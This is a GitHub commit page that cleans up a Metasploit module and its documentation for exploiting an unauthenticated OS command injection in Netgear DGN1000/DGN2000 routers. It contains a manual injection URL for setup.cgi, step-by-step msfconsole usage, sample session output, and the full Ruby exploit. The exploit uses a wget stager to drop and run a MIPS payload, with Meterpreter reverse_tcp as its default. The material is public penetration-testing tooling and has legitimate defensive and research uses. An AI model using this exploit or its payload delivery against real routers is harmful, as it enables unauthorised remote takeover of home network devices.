Skip to content

Commit 210f6f8

Browse files
committed
netgear1000dng cleanup
1 parent eff94be commit 210f6f8

File tree

2 files changed

+61
-61
lines changed

2 files changed

+61
-61
lines changed

documentation/modules/exploit/linux/http/netgear_dgn1000_unauth_setup_exec.md renamed to documentation/modules/exploit/linux/http/netgear_dgn1000_setup_unauth_exec.md

Lines changed: 7 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,4 @@
1-
The module netgear_dgn1000_setup_unauth_exec module exploits an unauthenticated OS command injection vulnerability in vulnerable Netgear DGN1000 with firmware versions up to `1.1.00.48` in addition to DGN2000v1 models, all firmware versions. The vulnerability occurs in within the `syscmd` fuction of the `setup.cgi` script to execute arbitrary commands. Manual exploitation could be completed through the browser, as for example : `http://<RouterIP>/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=echo+vulnerable&curpath=/&currentsetting.htm=1`. Such example will return "vulnerable" on the page. Vulnerable models have `wget` installed on `/usr/bin/wget` and can be leveraged to drop a MIPS Big Endian payload.
1+
The module netgear_dgn1000_setup_unauth_exec exploits an unauthenticated OS command injection vulnerability in vulnerable Netgear DGN1000 with firmware versions up to `1.1.00.48` in addition to DGN2000v1 models, all firmware versions. The vulnerability occurs in within the `syscmd` fuction of the `setup.cgi` script to execute arbitrary commands. Manual exploitation could be completed through the browser, as for example : `http://<RouterIP>/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=echo+vulnerable&curpath=/&currentsetting.htm=1`. Such example will return "vulnerable" on the page. Vulnerable models have `wget` installed on `/usr/bin/wget` and can be leveraged to drop a MIPS Big Endian payload.
22

33
## Vulnerable Application
44

@@ -8,16 +8,17 @@ Netgear DGN1000 with firmware versions up to `1.1.00.48` and DGN2000v1 models
88

99
1. Start msfconsole
1010
2. Do : `use exploit/linux/http/netgear_dgn1000_setup_unauth_exec`
11-
3. Do : `set RHOST <RouterIP>`
12-
4. Do : `set PAYLOAD <payload>`
11+
3. Do : `set RHOST [RouterIP]`
12+
4. Do : `set PAYLOAD [payload]`
1313
5. Do : `run`
1414
6. If router is vulnerable, payload should be dropped via wget and executed, and therein should obtain an session
1515

1616
## Scenarious
1717

1818
Sample output of a successfull exploitation should be look like this :
1919

20-
```msf > use exploit/linux/http/netgear_dgn1000_setup_unauth_exec
20+
```
21+
msf > use exploit/linux/http/netgear_dgn1000_setup_unauth_exec
2122
msf exploit(netgear_dgn1000_setup_unauth_exec) > set RHOST 192.168.0.1
2223
RHOST => 192.168.0.1
2324
msf exploit(netgear_dgn1000_setup_unauth_exec) > set RPORT 80
@@ -46,3 +47,5 @@ OS : (Linux 2.6.20-Amazon_SE)
4647
Architecture : mips
4748
Meterpreter : mipsbe/linux
4849
meterpreter >
50+
```
51+

modules/exploits/linux/http/netgear_dgn1000_setup_unauth_exec.rb

Lines changed: 54 additions & 57 deletions
Original file line numberDiff line numberDiff line change
@@ -21,77 +21,74 @@ def initialize(info = {})
2121
'Mumbai <https://github.com/realoriginal>', # module
2222
'Robort Palerie <[email protected]>' # vuln discovery
2323
],
24-
'References' =>
25-
[
24+
'References' => [
2625
['EDB', '25978'],
2726
],
2827
'DisclosureDate' => 'Jun 5 2013',
2928
'License' => MSF_LICENSE,
3029
'Platform' => 'linux',
3130
'Arch' => ARCH_MIPSBE,
31+
'DefaultTarget' => 0,
32+
'DefaultOptions' => {
33+
'PAYLOAD' => 'linux/mipsbe/meterpreter/reverse_tcp'
34+
},
3235
'Privileged' => true,
3336
'Payload' => {
3437
'DisableNops' => true,
3538
},
36-
'Targets' =>
37-
[
38-
[ 'Automatic', {} ]
39-
],
40-
))
41-
42-
end
39+
'Targets' => [[ 'Automatic', {} ]],
40+
))
41+
end
4342

44-
def check
45-
begin
46-
res = send_request_cgi({
47-
'uri' => '/setup.cgi',
48-
'method' => 'GET'
49-
})
50-
if res && res.headers['WWW-Authenticate']
51-
auth = res.headers['WWW-Authenticate']
52-
if auth =~ /DGN1000/
53-
return Exploit::CheckCode::Detected
54-
end
55-
end
56-
rescue ::Rex::ConnectionError
57-
return Exploit::CheckCode::Unknown
58-
end
59-
60-
61-
Exploit::CheckCode::Unknown
43+
def check
44+
begin
45+
res = send_request_cgi({
46+
'uri' => '/setup.cgi',
47+
'method' => 'GET'
48+
})
49+
if res && res.headers['WWW-Authenticate']
50+
auth = res.headers['WWW-Authenticate']
51+
if auth =~ /DGN1000/
52+
return Exploit::CheckCode::Detected
53+
end
6254
end
55+
rescue ::Rex::ConnectionError
56+
return Exploit::CheckCode::Unknown
57+
end
58+
Exploit::CheckCode::Unknown
59+
end
6360

64-
def exploit
65-
print_status("#{peer} - Connecting to target...")
61+
def exploit
62+
print_status("#{peer} - Connecting to target...")
6663

67-
unless check == Exploit::CheckCode::Detected
68-
fail_with(Failure::Unknown, "#{peer} - Failed to access vulnerable URL")
69-
end
64+
unless check == Exploit::CheckCode::Detected
65+
fail_with(Failure::Unknown, "#{peer} - Failed to access vulnerable URL")
66+
end
7067

71-
print_status("#{peer} - Exploiting target ....")
72-
execute_cmdstager(
73-
:flavor => :wget,
74-
:linemax => 200,
75-
:concat_operator => " && "
76-
)
77-
end
68+
print_status("#{peer} - Exploiting target ....")
69+
execute_cmdstager(
70+
:flavor => :wget,
71+
:linemax => 200,
72+
:concat_operator => " && "
73+
)
74+
end
7875

79-
def execute_command(cmd, opts)
80-
begin
81-
res = send_request_cgi({
82-
'uri' => '/setup.cgi',
83-
'method' => 'GET',
84-
'vars_get' => {
85-
'next_file' => 'netgear.cfg',
86-
'todo' => 'syscmd',
87-
'cmd' => cmd.to_s,
88-
'curpath' => '/',
89-
'currentsetting.htm' => '1'
90-
}
91-
})
92-
return res
93-
rescue ::Rex::ConnectionError
94-
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
95-
end
96-
end
76+
def execute_command(cmd, opts)
77+
begin
78+
res = send_request_cgi({
79+
'uri' => '/setup.cgi',
80+
'method' => 'GET',
81+
'vars_get' => {
82+
'next_file' => 'netgear.cfg',
83+
'todo' => 'syscmd',
84+
'cmd' => cmd.to_s,
85+
'curpath' => '/',
86+
'currentsetting.htm' => '1'
87+
}
88+
})
89+
return res
90+
rescue ::Rex::ConnectionError
91+
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
9792
end
93+
end
94+
end

0 commit comments

Comments
 (0)